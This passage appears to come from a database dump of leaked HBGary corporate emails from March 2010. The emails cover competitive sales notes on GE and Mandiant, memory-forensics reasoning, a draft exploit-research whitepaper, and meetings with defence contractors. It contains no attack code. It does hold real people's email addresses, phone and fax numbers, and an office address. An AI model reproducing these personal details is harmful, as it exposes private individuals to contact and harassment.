\r\n          tel: \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445\r\n          &lt;image001.gif&gt;\r\n          (301) 652-7097\r\n          (202) 669-3628\r\n          &lt;image001.gif&gt;\r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3396,'aaron_hbgary_com/3396.html'),(4044,'2010-03-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002148.M17818P3547Q4044.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','GE info and Mandiant competitive info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI had a long conversation with GE on Friday.&nbsp; GE does\r\nnot consider Mandiant and HBGary to have competitive products.&nbsp; They see\r\nMandiant and HBGary as doing different things.&nbsp; HBGary is still in play\r\nthere.\r\n\r\n&nbsp;\r\n\r\nThe purchased MIR for a specific set of reasons:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSearch host hard drives for indicators of\r\ncompromise\r\n\r\no&nbsp;&nbsp;\r\nAPT searches provided by Mandiant\r\n\r\no&nbsp;&nbsp;\r\nGE&#8217;s own search criteria\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCollect information and bring it back to the\r\nmothership\r\n\r\no&nbsp;&nbsp;\r\nInfo off the disk\r\n\r\no&nbsp;&nbsp;\r\nGrab memory and process space (the extent of MIR&#8217;s\r\nmemory capability)\r\n\r\n&nbsp;\r\n\r\nThey like how MIR searches for APT. &nbsp;They bought MIR\r\nfor a certain set of capabilities and said it is meeting those expectations.&nbsp;\r\nThey like MIR&#8217;s performance &#8211; it is fast enough.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThey see HBGary doing different things than Mandiant.&nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStrong with analysis, both automated analysis\r\nand making their people more productive.&nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey see HBGary as being much better than Mandiant\r\nwith both memory forensics and malware analysis.\r\n\r\n&nbsp;\r\n\r\nMIR LIMITATIONS\r\n\r\nMIR brings a lot of data back to a central location, then\r\ndoes nothing with it.&nbsp; All of GE&#8217;s data analysis is outside of MIR\r\nusing other tools.&nbsp; Some Memoryze code is crammed into MIR, but it doesn&#8217;t\r\nlend itself to their workflow.&nbsp; MIR makes it hard to reconstruct what was\r\nrunning.&nbsp; GREP the output. &nbsp;GE can&#8217;t view the data so that the\r\nbad stuff just pops out.&nbsp; To them MIR is a collection platform &#8211;\r\nwhich is valuable because none of their other enterprise systems do it.\r\n\r\n&nbsp;\r\n\r\nI asked if they could see HBGary being deployed out over the\r\nenterprise.&nbsp; They see that we would definitely add value, but the BIGGEST\r\nOBSTACLE is deploying another agent.&nbsp; Our best bet would be to work on top\r\nof Verdasys which is being piloted now.&nbsp; Verdasys is expected to be deployed\r\nwidely be the end of this year, so it is possible for HBGary to be deployed\r\nlate this year or next year.&nbsp; (Their AV is Sophos.&nbsp; He said our\r\ndeployment with Sophos wouldn&#8217;t be a good idea.&nbsp;&nbsp; I didn&#8217;t\r\ndetermine if it was internal GE politics, the Sophos s/w, or willingness by\r\nSophos.)\r\n\r\n&nbsp;\r\n\r\nDoing business at GE is a long term proposition.&nbsp; It\r\ntook Mandiant and Verdasys over a year of effort and pain.&nbsp; They like long\r\ncourtship followed by long marriages.&nbsp; HBGary is in play.\r\n\r\n&nbsp;\r\n\r\nI asked where are they weak in the process?&nbsp; They have\r\na good skeletal process, but they have remaining needs.&nbsp; They need\r\nAUTOMATION to make LOWER SKILLED PEOPLE MORE PRODUCTIVE.&nbsp; Most of their\r\ntools are command line tools which only a few expensive people can use.\r\n\r\n&nbsp;\r\n\r\nNEXT STEPS WITH GE:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey are giving us a malware sample to analyze\r\n(legal needs to OK it first)\r\n\r\no&nbsp;&nbsp;\r\nSell multiple Responder licenses\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary tech people get in relationship with GE\r\nto more deeply learn their requirements\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe work with Verdasys to show DDNA working with Digital\r\nGuardian\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBuild in a few key use cases for GE with DDNA\r\nworking with Digital Guardian (mainly that GD sees &#8220;observed events&#8221;\r\nwhich causes DDNA to launch)\r\n\r\n&nbsp;\r\n\r\nHBGary has certain advantages over Mandiant.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMemory forensics\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDigital DNA\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMalware analysis\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIntegration with other enterprise products\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe are better poised for strategic relationships\r\nwith big partners\r\n\r\n&nbsp;\r\n\r\nWhere HBGary has to catch up with Mandiant.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKnowledge of specific APT samples\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSearching the disk for indicators of compromise\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBringing back disk info to central location\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAllowing users to search for whatever they want\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11258,'aaron_hbgary_com/11258.html'),(4045,'2010-03-15','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297002148.M227965P3547Q4045.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Ouch','http://www.tehrantimes.com/index_View.asp?code=216016\r\n\r\n\r\n From my iPhone\r\n',1392,'aaron_hbgary_com/1392.html'),(4046,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002148.M405900P3547Q4046.eml','\"Greg Hoglund\" <greg@hbgary.com>','Reconstruction of Executables from Memory Images','OK so from a government perspective I see there is some benefit of having reconstruct binaries from disk or memory, to have somewhat of a standard that can be easily transported, etc.  So SRI is on the team to reconstruct binaries from process or memory, rebuilding import tables, entry points, etc.\r\n\r\nIn your opinion what is the efficacy of this?  Difficulty?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14145,'aaron_hbgary_com/14145.html'),(4047,'2010-03-15','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297002148.M602910P3547Q4047.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Reconstruction of Executables from Memory Images','It will be impossible to reconstruct a perfect disk image from a memory image.  The process of loading into memory is non-reversible back to disk in most cases.  There is more than one technical reason for this.  Sections are re-organized and there are memory mapped pages of memory never probe in thus vast regions of zero&#39;d memory that should contain data.  Much of the data is calculated at runtime and if the source of this calculation is not mapped in memory you will have to guess at what it&#39;s doing to load.  Also, some code is self modifying at startup and there is going to be code loss in addition to missing data - stuff you can&#39;t reverse back.  HBGary tried to solve these problems about 3 years ago and we threw in the towel.  The other thing is, WHY bother?   \r\n\r\n \r\nIt should be possible to reconstruct execution and trace data from a memory image, and anyone can create a portable format for storing executables.  Be wary of people who think you need an on-disk image to perform reverse engineering / static analysis.  I have run across a few that subscribe to this idea.  It&#39;s a gross mis-step in logic.  The first thing a reverse engineer does with an on disk image is try to reconstruct what it would look like in memory so they can emulate / approximate what the code will do.  Going back to disk when you already have memory is like taking a step back just so you can step forward again :-)\r\n\r\n \r\n\r\nAll that said, memory images CAN be executed again, but this execution will never be true to the original binary, only an approximation.  In effect, because it&#39;s been translated, it represents a different program than the one that resided on disk before the load.  While it&#39;s a morphic state machine, it&#39;s not an iso-morphic state machine.\r\n\r\n \r\n \r\n-G    \r\nOn Sun, Mar 14, 2010 at 7:20 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOK so from a government perspective I see there is some benefit of having reconstruct binaries from disk or memory, to have somewhat of a standard that can be easily transported, etc.  So SRI is on the team to reconstruct binaries from process or memory, rebuilding import tables, entry points, etc.\r\nIn your opinion what is the efficacy of this?  Difficulty?Aaron BarrCEOHBGary Federal Inc.\r\n',15340,'aaron_hbgary_com/15340.html'),(4048,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002148.M788141P3547Q4048.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Reconstruction of Executables from Memory Images','OK. &nbsp;Jason Upchurch is one such fella. &nbsp;I think it is mostly due to existing environment where DC3 mostly gets malware on disk today. &nbsp;When looking at better technology such as HBGary and Pikewerks he is looking for a way to bring the malware back. &nbsp;I definitely get the point it doesn\'t make a whole lot of sense. &nbsp;So I have SRI International on the team who has past performance and capability in De-obfuscation and trigger analysis. &nbsp;They round out the team so I am trying to make their statement of work solid, they made some recommendations for reconstruction of binaries from memory images that just didn\'t seem to sit right.So I think the tasks that are most beneficial for them are unpacking/de-obfuscation at the pre-processor phase for some quick instrumentation and analysis. &nbsp;According to Martin\'s approach for improved branch execution, we are going to do an iterative static/dynamic analysis to bleed out information to invoke execution branches smartly rather than trying to brute force them. &nbsp;Also automated trigger and anti-analysis techniques.I get it.AaronOn Mar 14, 2010, at 10:53 PM, Greg Hoglund wrote:It will be impossible to reconstruct a perfect disk image from a memory image.&nbsp; The process of loading into memory is non-reversible back to disk in most cases.&nbsp; There&nbsp;is more than one technical&nbsp;reason for this.&nbsp; Sections are re-organized and there are&nbsp;memory mapped pages of memory never probe in thus&nbsp;vast regions of zero\'d memory that should contain data.&nbsp;&nbsp;Much of the data is calculated at&nbsp;runtime and if the source of this calculation is not mapped in memory you will have to guess at&nbsp;what it\'s doing to load.&nbsp; Also, some code&nbsp;is self modifying at startup and there is going to be code loss in addition to missing data - stuff you can\'t reverse back.&nbsp; HBGary tried to solve these problems about 3 years ago and we threw in the towel.&nbsp; The other thing is, WHY bother?&nbsp;&nbsp; \r\n\r\n&nbsp;\r\nIt should be possible to reconstruct execution and trace data from a memory image, and anyone can create a portable format for storing executables.&nbsp; Be wary of people who think you need an on-disk image to perform reverse engineering / static analysis.&nbsp; I have run across a few that&nbsp;subscribe to this&nbsp;idea.&nbsp;&nbsp;It\'s a gross mis-step in logic.&nbsp; The first thing a reverse engineer&nbsp;does with an on disk image is try to reconstruct what it would&nbsp;look like in memory so they can emulate / approximate what the code will do.&nbsp; Going back to disk when you already have memory is like&nbsp;taking a step back just so you can step forward again :-)\r\n\r\n&nbsp;\r\n\r\nAll that said, memory images CAN be executed again, but this execution will never be true to the original binary, only an approximation.&nbsp; In&nbsp;effect, because it\'s been translated,&nbsp;it represents a different program than the one that resided on&nbsp;disk before the load.&nbsp; While it\'s a morphic state machine, it\'s not an iso-morphic state machine.\r\n\r\n&nbsp;\r\n&nbsp;\r\n-G&nbsp;&nbsp;&nbsp; \r\nOn Sun, Mar 14, 2010 at 7:20 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOK so from a government perspective I see there is some benefit of having reconstruct binaries from disk or memory, to have somewhat of a standard that can be easily transported, etc. &nbsp;So SRI is on the team to reconstruct binaries from process or memory, rebuilding import tables, entry points, etc.\r\nIn your opinion what is the efficacy of this? &nbsp;Difficulty?Aaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14386,'aaron_hbgary_com/14386.html'),(4049,'2010-03-15','\"Hakenson, Kurt E (IT Solutions)\" <kurt.hakenson@ngc.com>','/aaron@hbgary.com/new/1297002149.M21111P3547Q4049.eml','aaron@hbgary.com','Re: EXTERNAL:Re: Call me','\r\n\r\n\r\n\r\n\r\nRe: EXTERNAL:Re: Call me\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nToday\'s a non-stater for Rick, so I\'m waiting for a confirm from him for Wed or Thurs, and will ping you as soon as I hear from him.\r\n\r\nThanks!\r\n\r\n\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Kurt E. Hakenson\r\nSubject: Re: EXTERNAL:Re: Call me\r\nSent: Mar 12, 2010 3:09 PM\r\n\r\nWednesday or Thursday would work..Unless you want to do it earlier on Monday.&nbsp; I am at NSA at 1pm.\r\n\r\nAaron\r\n\r\nOn Mar 12, 2010, at 2:12 PM, Hakenson, Kurt E (IT Solutions) wrote:\r\n\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; Can you give me a couple days next week where you\'d be available for lunch up here in the BWI area?\r\n&gt;\r\n&gt; Thanks!\r\n&gt;\r\n&gt; Kurt E. Hakenson\r\n&gt; Chief Technologist\r\n&gt; Electronic Systems Sector\r\n&gt; Northrop Grumman Corporation\r\n&gt; Phone: 410-993-6499\r\n&gt; Fax:&nbsp;&nbsp; 410-865-7877\r\n&gt; 1580 W. Nursery Road\r\n&gt; Linthicum, MD 21090\r\n&gt;\r\n&gt; &quot;Embrace the Struggle&quot; -Zig Ziglar\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Friday, March 12, 2010 10:12 AM\r\n&gt; To: Hakenson, Kurt E (IT Solutions)\r\n&gt; Subject: EXTERNAL:Re: Call me\r\n&gt;\r\n&gt; Hey Kurt,\r\n&gt;\r\n&gt; Hows it going?\r\n&gt;\r\n&gt; I do have 1 or 2 malware analysts with tickets if there is a need.&nbsp; You mentioned 2 potential positions with the person you were talking with, I think up at the Fort.&nbsp; Do you still want to set up a meeting?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Feb 24, 2010, at 9:28 PM, Hakenson, Kurt E (IT Solutions) wrote:\r\n&gt;\r\n&gt;\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 410-919-8067\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Kurt Hakenson\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chief Technologist\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Electronic Systems Sector\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Northrop Grumman Corp.\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 410-993-6499\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;It is not necessary to change.&nbsp; Survival is not mandatory.&quot; ~W. Edwards Deming\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\nKurt Hakenson\r\nChief Technologist\r\nElectronic Systems Sector\r\nNorthrop Grumman Corp.\r\n410-993-6499\r\n\r\n&quot;It is not necessary to change.&nbsp; Survival is not mandatory.&quot; ~W. Edwards Deming\r\n\r\n\r\n\r\n\r\n',2575,'aaron_hbgary_com/2575.html'),(4050,'2010-03-15','\"Racz, James M\" <james.m.racz@lmco.com>','/aaron@hbgary.com/new/1297002149.M211143P3547Q4050.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Uno - HBGary capabilities brief','Hi Aaron\r\n\r\nThe invite already went out last week to Bob Slapnick; but here it is again\r\nto you in case he didn\'t share. \r\n\r\nAll,\r\n\r\nThe Lockheed Martin UNO Program Office is hosting the UNO Vendor Conference\r\non 18 March, 2010.  This is your opportunity to meet other UNO vendors, ask\r\nquestions about the UNO task order process, and obtain information on what\r\nis planned for UNO in 2010.  A preliminary agenda and directions to the\r\nLockheed Martin DEPII building are attached.\r\n\r\nThe Vendor Conference  is not an authorized UNO Contract Charge.  The\r\nConference shall run from 0800 to approximately 1300.  Please try to limit\r\nyour attendees to two individuals. The Conference shall be conducted up to a\r\nSECRET Level.\r\n\r\nThe UNO DEP II Facility requires visit certifications per the following\r\ninstructions.  For registration and clearances, please send your clearance\r\ninformation for yourself and/or your company\'s participants to the Martha\r\nChapman, NLT 15 March.  (Visit certs need to be sent following these\r\ninstructions, even if you believe you are perm certed for this facility.\r\nThe coversheet for the fax needs to include all information below in order\r\nto be properly routed.  All applicable clearances should be sent. \r\n          Lockheed Martin DEP II\r\n          Event - UNO Vendor Conference\r\n          Date - 18 March 2010\r\nSecurity POC - Martha Chapman, Voice 703-466-3325, Unclas FAX 703-466-3340,\r\nSecure\r\n FAX 703-466-3321.\r\n          Technical POC - Jim Racz, 703-466-3314\r\nUpon arrival to check-in, you will need your driver\'s license (or other\r\ngov\'t issued photo ID).\r\n\r\nQuestions concerning this conference should be directed to Jim Racz, UNO\r\nChief Engineer.  Jim can be contacted at 703-466-3314 and at\r\njames.m.racz@lmco.com .\r\n\r\nI am looking forward to seeing all of you, and meeting some of you for the\r\nfirst time.\r\n\r\nRick Mai\r\nUNO Program Manager\r\n\r\nJim Racz\r\nUNO Program\r\n703 466-3314\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, March 13, 2010 11:08 PM\r\nTo: Racz, James M\r\nSubject: Re: Uno - HBGary capabilities brief\r\n\r\nHi Jim,\r\n\r\nI am getting my customer clearances back on Tuesday.  I would like to\r\nschedule a time when convenient for you to come in and talk about HBGary\r\ncapabilities.  I spoke with Bill Thompson who said he had already discussed\r\nwith you the partnership between HBGary and Xetron.\r\n\r\nAlso I heard there is an UNO conference coming up soon that I would like to\r\nattend if that is possible.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal\r\n719.510.8478\r\n\r\nOn Feb 17, 2010, at 6:37 PM, Racz, James M wrote:\r\n\r\n> WE\'re looking.......Had 1 question  however...Who paid for your extensive\r\n> analysis? Look like a lot of effort.\r\n> \r\n> Jim Racz\r\n> UNO Program\r\n> 703 466-3314\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, February 17, 2010 1:31 AM\r\n> To: Racz, James M\r\n> Cc: Ted Vera\r\n> Subject: Uno - HBGary capabilities brief\r\n> \r\n> Hi Jim,\r\n> \r\n> Please let me know when you are available to schedule an HBGary\r\ncapabilities\r\n> briefing.  If you have some time next week that would be great.\r\n> \r\n> Thank you,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n\r\n\r\n',7057,'aaron_hbgary_com/7057.html'),(4051,'2010-03-15','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297002149.M397962P3547Q4051.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Antacid','Hi Aaron,\r\n\r\nWe have not met with Abraxis yet.  I\'ll pass on the RavenWing notion to\r\nJohn.\r\n\r\nJohn - Do we have any contacts at RavenWing?\r\n\r\nThanks,\r\n\r\nChris \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, March 14, 2010 12:09 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Ted Vera\r\nSubject: Antacid\r\n\r\nHey chris,\r\n\r\nHave you all talked with abraxis, and if so how did it go?  Might be a\r\ngood idea to talk with RavenWing as another potential infrastructure\r\ncapability.  We might be able to improve their existing capability.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',8437,'aaron_hbgary_com/8437.html'),(4052,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002149.M591244P3547Q4052.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Antacid','I know the folks that work the existing contract for infrastructure if you want to start there.\r\n\r\nAaron\r\nOn Mar 15, 2010, at 9:49 AM, Clair, Chris (TASC) wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> We have not met with Abraxis yet.  I\'ll pass on the RavenWing notion to\r\n> John.\r\n> \r\n> John - Do we have any contacts at RavenWing?\r\n> \r\n> Thanks,\r\n> \r\n> Chris \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Sunday, March 14, 2010 12:09 PM\r\n> To: Clair, Chris (TASC)\r\n> Cc: Ted Vera\r\n> Subject: Antacid\r\n> \r\n> Hey chris,\r\n> \r\n> Have you all talked with abraxis, and if so how did it go?  Might be a\r\n> good idea to talk with RavenWing as another potential infrastructure\r\n> capability.  We might be able to improve their existing capability.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10638,'aaron_hbgary_com/10638.html'),(4053,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002149.M826025P3547Q4053.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,,,','Re: first draft of exploitation whitepaper','Greg,\r\n\r\nThis could have very positive impacts on our IO work in more efficiently identifying vulnerabilities for potential exploitation.  There are a few customers that I think would be interested to read a finished paper on this.  I will review for comments today.\r\n\r\nAaron\r\n\r\nOn Mar 13, 2010, at 10:43 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Gents,\r\n> Attached is the first draft of the \'Exploitation Assessment with REcon\' whitepaper.  Comments / things you think we should add, etc, all welcome.  Just so you know I haven\'t spellchecked, done screenshots or graphics - this is a rough starter draft.\r\n>  \r\n> Just a backgrounder: we are publishing this to show how Responder/REcon can be used for general purpose reverse engineering, not just for malware - more specifically how it can be used to find exploits and vulnerabilities in closed source binaries / COTS products.  I probably don\'t have to remind you that a solid working exploit can be sold for five-six figures in the black market, so it\'s heavy stuff.  This work is being performed as a direct result of Microsoft being a big customer of our Responder PRO product and they specifically use it for vulnerability auditing their own code.  That is why our two test cases are high profile exploits against windows / IE.\r\n>  \r\n> Aaron/Ted - if you think we should add anything to this paper that would help you on the federal side let me know.  I know we usually talk about malware, but HBGary has been involved in quite alot of exploit research in the past so it\'s still in our blood.  Shawn and I are planning to wrap this up over the next week, but this will probably prove out that REcon is the GO-TO platform for exploit research.\r\n>  \r\n> -Greg\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16677,'aaron_hbgary_com/16677.html'),(4054,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002155.M623007P3547Q4054.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Fwd: first draft of exploitation whitepaper','FYI.  More efficient capability for exploit research.  Remember in the EGS meeting I asked them about their process, figuring they must have a reproducible, efficient process for developing exploits to get that many in a year, he was vague in his answer.  This is a reproducible, more efficient process for exploit development research.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Greg Hoglund \r\n> Date: March 13, 2010 10:43:58 PM EST\r\n> To: Aaron Barr , Ted Vera , Shawn Bracken , Scott Pease , Rich Cummings , Phil Wallisch , Michael Staggs \r\n> Subject: first draft of exploitation whitepaper\r\n> \r\n>  \r\n> Gents,\r\n> Attached is the first draft of the \'Exploitation Assessment with REcon\' whitepaper.  Comments / things you think we should add, etc, all welcome.  Just so you know I haven\'t spellchecked, done screenshots or graphics - this is a rough starter draft.\r\n>  \r\n> Just a backgrounder: we are publishing this to show how Responder/REcon can be used for general purpose reverse engineering, not just for malware - more specifically how it can be used to find exploits and vulnerabilities in closed source binaries / COTS products.  I probably don\'t have to remind you that a solid working exploit can be sold for five-six figures in the black market, so it\'s heavy stuff.  This work is being performed as a direct result of Microsoft being a big customer of our Responder PRO product and they specifically use it for vulnerability auditing their own code.  That is why our two test cases are high profile exploits against windows / IE.\r\n>  \r\n> Aaron/Ted - if you think we should add anything to this paper that would help you on the federal side let me know.  I know we usually talk about malware, but HBGary has been involved in quite alot of exploit research in the past so it\'s still in our blood.  Shawn and I are planning to wrap this up over the next week, but this will probably prove out that REcon is the GO-TO platform for exploit research.\r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5191,'aaron_hbgary_com/5191.html'),(4055,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002155.M965677P3547Q4055.eml','\"Hakenson, Kurt E (IT Solutions)\" <kurt.hakenson@ngc.com>','Re: EXTERNAL:Re: Call me','Sounds good.AaronOn Mar 15, 2010, at 6:43 AM, Hakenson, Kurt E (IT Solutions) wrote:\r\n\r\nAaron,\r\n\r\nToday\'s a non-stater for Rick, so I\'m waiting for a confirm from him for Wed or Thurs, and will ping you as soon as I hear from him.\r\n\r\nThanks!\r\n\r\n\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Kurt E. Hakenson\r\nSubject: Re: EXTERNAL:Re: Call me\r\nSent: Mar 12, 2010 3:09 PM\r\n\r\nWednesday or Thursday would work..Unless you want to do it earlier on Monday.&nbsp; I am at NSA at 1pm.\r\n\r\nAaron\r\n\r\nOn Mar 12, 2010, at 2:12 PM, Hakenson, Kurt E (IT Solutions) wrote:\r\n\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; Can you give me a couple days next week where you\'d be available for lunch up here in the BWI area?\r\n&gt;\r\n&gt; Thanks!\r\n&gt;\r\n&gt; Kurt E. Hakenson\r\n&gt; Chief Technologist\r\n&gt; Electronic Systems Sector\r\n&gt; Northrop Grumman Corporation\r\n&gt; Phone: 410-993-6499\r\n&gt; Fax:&nbsp;&nbsp; 410-865-7877\r\n&gt; 1580 W. Nursery Road\r\n&gt; Linthicum, MD 21090\r\n&gt;\r\n&gt; \"Embrace the Struggle\" -Zig Ziglar\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Friday, March 12, 2010 10:12 AM\r\n&gt; To: Hakenson, Kurt E (IT Solutions)\r\n&gt; Subject: EXTERNAL:Re: Call me\r\n&gt;\r\n&gt; Hey Kurt,\r\n&gt;\r\n&gt; Hows it going?\r\n&gt;\r\n&gt; I do have 1 or 2 malware analysts with tickets if there is a need.&nbsp; You mentioned 2 potential positions with the person you were talking with, I think up at the Fort.&nbsp; Do you still want to set up a meeting?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Feb 24, 2010, at 9:28 PM, Hakenson, Kurt E (IT Solutions) wrote:\r\n&gt;\r\n&gt;\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 410-919-8067\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Kurt Hakenson\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chief Technologist\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Electronic Systems Sector\r\n&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Northrop Grumman Corp.\r\n&gt; 